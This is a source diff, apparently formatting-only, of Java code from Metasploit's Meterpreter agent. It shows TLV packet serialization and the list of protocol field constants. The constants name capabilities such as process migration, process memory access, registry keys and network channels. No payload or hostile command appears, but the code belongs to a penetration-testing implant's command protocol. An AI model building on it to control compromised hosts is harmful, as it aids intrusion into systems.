||||||
/**
|
/**
|
||||||
* Get the value associated to a type.
|
* Get the value associated to a type.
|
||||||
*/
|
*/
|
||||||
public Object getValue(int type, Object defaultValue) {
|
public Object getValue(int type, Object defaultValue) {
|
||||||
ArrayList indices = (ArrayList)valueMap.get(new Integer(type));
|
ArrayList indices = (ArrayList) valueMap.get(new Integer(type));
|
||||||
if (indices == null)
|
if (indices == null)
|
||||||
return defaultValue;
|
return defaultValue;
|
||||||
// the indices variable is an ArrayList so by default return the first to
|
// the indices variable is an ArrayList so by default return the first to
|
||||||
// preserve existing behaviour.
|
// preserve existing behaviour.
|
||||||
return valueList.get(((Integer)indices.get(0)).intValue());
|
return valueList.get(((Integer) indices.get(0)).intValue());
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as a {@link String}.
|
* Get the value associated to a type as a {@link String}.
|
||||||
*/
|
*/
|
||||||
public String getStringValue(int type) {
|
public String getStringValue(int type) {
|
||||||
return (String) getValue(type);
|
return (String) getValue(type);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
|
* Get the value associated to a type as a {@link String}, or a default value if the value does not exist.
|
||||||
*/
|
*/
|
||||||
public String getStringValue(int type, String defaultValue) {
|
public String getStringValue(int type, String defaultValue) {
|
||||||
return (String) getValue(type, defaultValue);
|
return (String) getValue(type, defaultValue);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as an int.
|
* Get the value associated to a type as an int.
|
||||||
*/
|
*/
|
||||||
public long getLongValue(int type) {
|
public long getLongValue(int type) {
|
||||||
return ((Long) getValue(type)).longValue();
|
return ((Long) getValue(type)).longValue();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as an int.
|
* Get the value associated to a type as an int.
|
||||||
*/
|
*/
|
||||||
public int getIntValue(int type) {
|
public int getIntValue(int type) {
|
||||||
return ((Integer) getValue(type)).intValue();
|
return ((Integer) getValue(type)).intValue();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as a boolean.
|
* Get the value associated to a type as a boolean.
|
||||||
*/
|
*/
|
||||||
public boolean getBooleanValue(int type) {
|
public boolean getBooleanValue(int type) {
|
||||||
return ((Boolean) getValue(type)).booleanValue();
|
return ((Boolean) getValue(type)).booleanValue();
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Get the value associated to a type as a byte array.
|
* Get the value associated to a type as a byte array.
|
||||||
*/
|
*/
|
||||||
public byte[] getRawValue(int type) {
|
public byte[] getRawValue(int type) {
|
||||||
return (byte[]) getValue(type);
|
return (byte[]) getValue(type);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Write all the values to an output stream.
|
* Write all the values to an output stream.
|
||||||
*/
|
*/
|
||||||
public void write(DataOutputStream out) throws IOException {
|
public void write(DataOutputStream out) throws IOException {
|
||||||
for (Iterator it = typeOrder.iterator(); it.hasNext();) {
|
for (Iterator it = typeOrder.iterator(); it.hasNext(); ) {
|
||||||
Integer typeKey = (Integer) it.next();
|
Integer typeKey = (Integer) it.next();
|
||||||
int type = typeKey.intValue();
|
int type = typeKey.intValue();
|
||||||
Object value = getValue(type);
|
Object value = getValue(type);
|
||||||
write(out, type, value);
|
write(out, type, value);
|
||||||
}
|
}
|
||||||
for (Iterator it = overflowList.iterator(); it.hasNext();) {
|
for (Iterator it = overflowList.iterator(); it.hasNext(); ) {
|
||||||
Integer typeKey = (Integer) it.next();
|
Integer typeKey = (Integer) it.next();
|
||||||
int type = typeKey.intValue();
|
int type = typeKey.intValue();
|
||||||
Object value = it.next();
|
Object value = it.next();
|
||||||
write(out, type, value);
|
write(out, type, value);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Write a single value to an output stream.
|
* Write a single value to an output stream.
|
||||||
*/
|
*/
|
||||||
private static void write(DataOutputStream out, int type, Object value) throws IOException {
|
private static void write(DataOutputStream out, int type, Object value) throws IOException {
|
||||||
byte[] data;
|
byte[] data;
|
||||||
if ((type & TLV_META_TYPE_STRING) != 0) {
|
if ((type & TLV_META_TYPE_STRING) != 0) {
|
||||||
data = ((String) value + "\0").getBytes("UTF-8");
|
data = ((String) value + "\0").getBytes("UTF-8");
|
||||||
} else if ((type & TLV_META_TYPE_QWORD) != 0) {
|
} else if ((type & TLV_META_TYPE_QWORD) != 0) {
|
||||||
out.writeInt(16);
|
out.writeInt(16);
|
||||||
out.writeInt(type);
|
out.writeInt(type);
|
||||||
out.writeLong(((Long) value).longValue());
|
out.writeLong(((Long) value).longValue());
|
||||||
return;
|
return;
|
||||||
} else if ((type & TLV_META_TYPE_UINT) != 0) {
|
} else if ((type & TLV_META_TYPE_UINT) != 0) {
|
||||||
out.writeInt(12);
|
out.writeInt(12);
|
||||||
out.writeInt(type);
|
out.writeInt(type);
|
||||||
out.writeInt(((Integer) value).intValue());
|
out.writeInt(((Integer) value).intValue());
|
||||||
return;
|
return;
|
||||||
} else if ((type & TLV_META_TYPE_BOOL) != 0) {
|
} else if ((type & TLV_META_TYPE_BOOL) != 0) {
|
||||||
out.writeInt(9);
|
out.writeInt(9);
|
||||||
out.writeInt(type);
|
out.writeInt(type);
|
||||||
out.writeBoolean(((Boolean) value).booleanValue());
|
out.writeBoolean(((Boolean) value).booleanValue());
|
||||||
return;
|
return;
|
||||||
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
} else if ((type & TLV_META_TYPE_RAW) != 0) {
|
||||||
data = (byte[]) value;
|
data = (byte[]) value;
|
||||||
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
} else if ((type & TLV_META_TYPE_GROUP) != 0) {
|
||||||
data = ((TLVPacket) value).toByteArray();
|
data = ((TLVPacket) value).toByteArray();
|
||||||
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
} else if ((type & TLV_META_TYPE_COMPLEX) != 0) {
|
||||||
data = (byte[]) value;
|
data = (byte[]) value;
|
||||||
} else {
|
} else {
|
||||||
throw new IOException("Unsupported type: " + type);
|
throw new IOException("Unsupported type: " + type);
|
||||||
}
|
}
|
||||||
out.writeInt(8 + data.length);
|
out.writeInt(8 + data.length);
|
||||||
out.writeInt(type);
|
out.writeInt(type);
|
||||||
out.write(data);
|
out.write(data);
|
||||||
}
|
}
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* Convert all the values to a byte array.
|
* Convert all the values to a byte array.
|
||||||
*/
|
*/
|
||||||
public byte[] toByteArray() throws IOException {
|
public byte[] toByteArray() throws IOException {
|
||||||
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
ByteArrayOutputStream baos = new ByteArrayOutputStream();
|
||||||
write(new DataOutputStream(baos));
|
write(new DataOutputStream(baos));
|
||||||
return baos.toByteArray();
|
return baos.toByteArray();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -2,182 +2,182 @@ package com.metasploit.meterpreter;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* All defined TLV types.
|
* All defined TLV types.
|
||||||
*
|
* <p/>
|
||||||
* TLV meta types are defined in the {@link TLVPacket} class.
|
* TLV meta types are defined in the {@link TLVPacket} class.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public interface TLVType {
|
public interface TLVType {
|
||||||
|
|
||||||
// TLV Specific Types
|
// TLV Specific Types
|
||||||
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
|
public static final int TLV_TYPE_ANY = TLVPacket.TLV_META_TYPE_NONE | 0;
|
||||||
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
|
public static final int TLV_TYPE_METHOD = TLVPacket.TLV_META_TYPE_STRING | 1;
|
||||||
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
|
public static final int TLV_TYPE_REQUEST_ID = TLVPacket.TLV_META_TYPE_STRING | 2;
|
||||||
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
|
public static final int TLV_TYPE_EXCEPTION = TLVPacket.TLV_META_TYPE_GROUP | 3;
|
||||||
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
|
public static final int TLV_TYPE_RESULT = TLVPacket.TLV_META_TYPE_UINT | 4;
|
||||||
|
|
||||||
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
|
public static final int TLV_TYPE_STRING = TLVPacket.TLV_META_TYPE_STRING | 10;
|
||||||
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
|
public static final int TLV_TYPE_UINT = TLVPacket.TLV_META_TYPE_UINT | 11;
|
||||||
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
|
public static final int TLV_TYPE_BOOL = TLVPacket.TLV_META_TYPE_BOOL | 12;
|
||||||
|
|
||||||
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
|
public static final int TLV_TYPE_LENGTH = TLVPacket.TLV_META_TYPE_UINT | 25;
|
||||||
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
|
public static final int TLV_TYPE_DATA = TLVPacket.TLV_META_TYPE_RAW | 26;
|
||||||
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
|
public static final int TLV_TYPE_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 27;
|
||||||
|
|
||||||
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
|
public static final int TLV_TYPE_CHANNEL_ID = TLVPacket.TLV_META_TYPE_UINT | 50;
|
||||||
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
|
public static final int TLV_TYPE_CHANNEL_TYPE = TLVPacket.TLV_META_TYPE_STRING | 51;
|
||||||
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
|
public static final int TLV_TYPE_CHANNEL_DATA = TLVPacket.TLV_META_TYPE_RAW | 52;
|
||||||
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
|
public static final int TLV_TYPE_CHANNEL_DATA_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 53;
|
||||||
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
|
public static final int TLV_TYPE_CHANNEL_CLASS = TLVPacket.TLV_META_TYPE_UINT | 54;
|
||||||
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
|
public static final int TLV_TYPE_CHANNEL_PARENTID = TLVPacket.TLV_META_TYPE_UINT | 55;
|
||||||
|
|
||||||
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
|
public static final int TLV_TYPE_SEEK_WHENCE = TLVPacket.TLV_META_TYPE_UINT | 70;
|
||||||
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
|
public static final int TLV_TYPE_SEEK_OFFSET = TLVPacket.TLV_META_TYPE_UINT | 71;
|
||||||
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
|
public static final int TLV_TYPE_SEEK_POS = TLVPacket.TLV_META_TYPE_UINT | 72;
|
||||||
|
|
||||||
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
|
public static final int TLV_TYPE_EXCEPTION_CODE = TLVPacket.TLV_META_TYPE_UINT | 300;
|
||||||
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
|
public static final int TLV_TYPE_EXCEPTION_STRING = TLVPacket.TLV_META_TYPE_STRING | 301;
|
||||||
|
|
||||||
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
|
public static final int TLV_TYPE_LIBRARY_PATH = TLVPacket.TLV_META_TYPE_STRING | 400;
|
||||||
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
|
public static final int TLV_TYPE_TARGET_PATH = TLVPacket.TLV_META_TYPE_STRING | 401;
|
||||||
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
|
public static final int TLV_TYPE_MIGRATE_PID = TLVPacket.TLV_META_TYPE_UINT | 402;
|
||||||
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
|
public static final int TLV_TYPE_MIGRATE_LEN = TLVPacket.TLV_META_TYPE_UINT | 403;
|
||||||
|
|
||||||
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
|
public static final int TLV_TYPE_CIPHER_NAME = TLVPacket.TLV_META_TYPE_STRING | 500;
|
||||||
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
|
public static final int TLV_TYPE_CIPHER_PARAMETERS = TLVPacket.TLV_META_TYPE_GROUP | 501;
|
||||||
|
|
||||||
// General
|
// General
|
||||||
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600;
|
public static final int TLV_TYPE_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 600;
|
||||||
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
|
public static final int TLV_TYPE_INHERIT = TLVPacket.TLV_META_TYPE_BOOL | 601;
|
||||||
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630;
|
public static final int TLV_TYPE_PROCESS_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 630;
|
||||||
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631;
|
public static final int TLV_TYPE_THREAD_HANDLE = TLVPacket.TLV_META_TYPE_QWORD | 631;
|
||||||
|
|
||||||
// Fs
|
// Fs
|
||||||
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
|
public static final int TLV_TYPE_DIRECTORY_PATH = TLVPacket.TLV_META_TYPE_STRING | 1200;
|
||||||
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
|
public static final int TLV_TYPE_FILE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1201;
|
||||||
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
|
public static final int TLV_TYPE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 1202;
|
||||||
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
|
public static final int TLV_TYPE_FILE_MODE = TLVPacket.TLV_META_TYPE_STRING | 1203;
|
||||||
public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206;
|
public static final int TLV_TYPE_FILE_HASH = TLVPacket.TLV_META_TYPE_RAW | 1206;
|
||||||
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
|
public static final int TLV_TYPE_STAT_BUF = TLVPacket.TLV_META_TYPE_COMPLEX | 1220;
|
||||||
|
|
||||||
// Net
|
// Net
|
||||||
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
|
public static final int TLV_TYPE_HOST_NAME = TLVPacket.TLV_META_TYPE_STRING | 1400;
|
||||||
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
|
public static final int TLV_TYPE_PORT = TLVPacket.TLV_META_TYPE_UINT | 1401;
|
||||||
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
|
public static final int TLV_TYPE_MTU = TLVPacket.TLV_META_TYPE_UINT | 1402;
|
||||||
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
|
public static final int TLV_TYPE_INTERFACE_INDEX = TLVPacket.TLV_META_TYPE_UINT | 1404;
|
||||||
|
|
||||||
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
|
public static final int TLV_TYPE_SUBNET = TLVPacket.TLV_META_TYPE_RAW | 1420;
|
||||||
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
|
public static final int TLV_TYPE_NETMASK = TLVPacket.TLV_META_TYPE_RAW | 1421;
|
||||||
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
|
public static final int TLV_TYPE_GATEWAY = TLVPacket.TLV_META_TYPE_RAW | 1422;
|
||||||
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
|
public static final int TLV_TYPE_NETWORK_ROUTE = TLVPacket.TLV_META_TYPE_GROUP | 1423;
|
||||||
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
|
public static final int TLV_TYPE_IP_PREFIX = TLVPacket.TLV_META_TYPE_UINT | 1424;
|
||||||
|
|
||||||
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
|
public static final int TLV_TYPE_IP = TLVPacket.TLV_META_TYPE_RAW | 1430;
|
||||||
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
|
public static final int TLV_TYPE_MAC_ADDRESS = TLVPacket.TLV_META_TYPE_RAW | 1431;
|
||||||
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
|
public static final int TLV_TYPE_MAC_NAME = TLVPacket.TLV_META_TYPE_STRING | 1432;
|
||||||
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
|
public static final int TLV_TYPE_NETWORK_INTERFACE = TLVPacket.TLV_META_TYPE_GROUP | 1433;
|
||||||
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
|
public static final int TLV_TYPE_IP6_SCOPE = TLVPacket.TLV_META_TYPE_RAW | 1434;
|
||||||
|
|
||||||
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
|
public static final int TLV_TYPE_SUBNET_STRING = TLVPacket.TLV_META_TYPE_STRING | 1440;
|
||||||
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
|
public static final int TLV_TYPE_NETMASK_STRING = TLVPacket.TLV_META_TYPE_STRING | 1441;
|
||||||
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
|
public static final int TLV_TYPE_GATEWAY_STRING = TLVPacket.TLV_META_TYPE_STRING | 1442;
|
||||||
|
|
||||||
// Socket
|
// Socket
|
||||||
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
|
public static final int TLV_TYPE_PEER_HOST = TLVPacket.TLV_META_TYPE_STRING | 1500;
|
||||||
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
|
public static final int TLV_TYPE_PEER_PORT = TLVPacket.TLV_META_TYPE_UINT | 1501;
|
||||||
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
|
public static final int TLV_TYPE_LOCAL_HOST = TLVPacket.TLV_META_TYPE_STRING | 1502;
|
||||||
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
|
public static final int TLV_TYPE_LOCAL_PORT = TLVPacket.TLV_META_TYPE_UINT | 1503;
|
||||||
public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
|
public static final int TLV_TYPE_CONNECT_RETRIES = TLVPacket.TLV_META_TYPE_UINT | 1504;
|
||||||
|
|
||||||
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
|
public static final int TLV_TYPE_SHUTDOWN_HOW = TLVPacket.TLV_META_TYPE_UINT | 1530;
|
||||||
|
|
||||||
// Registry
|
// Registry
|
||||||
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000;
|
public static final int TLV_TYPE_HKEY = TLVPacket.TLV_META_TYPE_QWORD | 1000;
|
||||||
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
|
public static final int TLV_TYPE_ROOT_KEY = TLV_TYPE_HKEY;
|
||||||
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
|
public static final int TLV_TYPE_BASE_KEY = TLVPacket.TLV_META_TYPE_STRING | 1001;
|
||||||
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
|
public static final int TLV_TYPE_PERMISSION = TLVPacket.TLV_META_TYPE_UINT | 1002;
|
||||||
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
|
public static final int TLV_TYPE_KEY_NAME = TLVPacket.TLV_META_TYPE_STRING | 1003;
|
||||||
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
|
public static final int TLV_TYPE_VALUE_NAME = TLVPacket.TLV_META_TYPE_STRING | 1010;
|
||||||
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
|
public static final int TLV_TYPE_VALUE_TYPE = TLVPacket.TLV_META_TYPE_UINT | 1011;
|
||||||
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
|
public static final int TLV_TYPE_VALUE_DATA = TLVPacket.TLV_META_TYPE_RAW | 1012;
|
||||||
|
|
||||||
// Config
|
// Config
|
||||||
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
|
public static final int TLV_TYPE_COMPUTER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1040;
|
||||||
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
|
public static final int TLV_TYPE_OS_NAME = TLVPacket.TLV_META_TYPE_STRING | 1041;
|
||||||
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
|
public static final int TLV_TYPE_USER_NAME = TLVPacket.TLV_META_TYPE_STRING | 1042;
|
||||||
|
|
||||||
public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100;
|
public static final int TLV_TYPE_ENV_VARIABLE = TLVPacket.TLV_META_TYPE_STRING | 1100;
|
||||||
public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101;
|
public static final int TLV_TYPE_ENV_VALUE = TLVPacket.TLV_META_TYPE_STRING | 1101;
|
||||||
public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102;
|
public static final int TLV_TYPE_ENV_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 1102;
|
||||||
|
|
||||||
// Process
|
// Process
|
||||||
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000;
|
public static final int TLV_TYPE_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2000;
|
||||||
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
|
public static final int TLV_TYPE_ALLOCATION_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2001;
|
||||||
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
|
public static final int TLV_TYPE_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2002;
|
||||||
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
|
public static final int TLV_TYPE_PROCESS_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2003;
|
||||||
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
|
public static final int TLV_TYPE_PROCESS_MEMORY = TLVPacket.TLV_META_TYPE_RAW | 2004;
|
||||||
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005;
|
public static final int TLV_TYPE_ALLOC_BASE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2005;
|
||||||
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
|
public static final int TLV_TYPE_MEMORY_STATE = TLVPacket.TLV_META_TYPE_UINT | 2006;
|
||||||
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
|
public static final int TLV_TYPE_MEMORY_TYPE = TLVPacket.TLV_META_TYPE_UINT | 2007;
|
||||||
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
|
public static final int TLV_TYPE_ALLOC_PROTECTION = TLVPacket.TLV_META_TYPE_UINT | 2008;
|
||||||
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
|
public static final int TLV_TYPE_PID = TLVPacket.TLV_META_TYPE_UINT | 2300;
|
||||||
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
|
public static final int TLV_TYPE_PROCESS_NAME = TLVPacket.TLV_META_TYPE_STRING | 2301;
|
||||||
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
|
public static final int TLV_TYPE_PROCESS_PATH = TLVPacket.TLV_META_TYPE_STRING | 2302;
|
||||||
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
|
public static final int TLV_TYPE_PROCESS_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2303;
|
||||||
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
|
public static final int TLV_TYPE_PROCESS_FLAGS = TLVPacket.TLV_META_TYPE_UINT | 2304;
|
||||||
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
|
public static final int TLV_TYPE_PROCESS_ARGUMENTS = TLVPacket.TLV_META_TYPE_STRING | 2305;
|
||||||
|
|
||||||
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
|
public static final int TLV_TYPE_IMAGE_FILE = TLVPacket.TLV_META_TYPE_STRING | 2400;
|
||||||
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
|
public static final int TLV_TYPE_IMAGE_FILE_PATH = TLVPacket.TLV_META_TYPE_STRING | 2401;
|
||||||
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
|
public static final int TLV_TYPE_PROCEDURE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2402;
|
||||||
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403;
|
public static final int TLV_TYPE_PROCEDURE_ADDRESS = TLVPacket.TLV_META_TYPE_QWORD | 2403;
|
||||||
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404;
|
public static final int TLV_TYPE_IMAGE_BASE = TLVPacket.TLV_META_TYPE_QWORD | 2404;
|
||||||
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
|
public static final int TLV_TYPE_IMAGE_GROUP = TLVPacket.TLV_META_TYPE_GROUP | 2405;
|
||||||
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
|
public static final int TLV_TYPE_IMAGE_NAME = TLVPacket.TLV_META_TYPE_STRING | 2406;
|
||||||
|
|
||||||
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
|
public static final int TLV_TYPE_THREAD_ID = TLVPacket.TLV_META_TYPE_UINT | 2500;
|
||||||
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
|
public static final int TLV_TYPE_THREAD_PERMS = TLVPacket.TLV_META_TYPE_UINT | 2502;
|
||||||
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
|
public static final int TLV_TYPE_EXIT_CODE = TLVPacket.TLV_META_TYPE_UINT | 2510;
|
||||||
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511;
|
public static final int TLV_TYPE_ENTRY_POINT = TLVPacket.TLV_META_TYPE_QWORD | 2511;
|
||||||
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512;
|
public static final int TLV_TYPE_ENTRY_PARAMETER = TLVPacket.TLV_META_TYPE_QWORD | 2512;
|
||||||
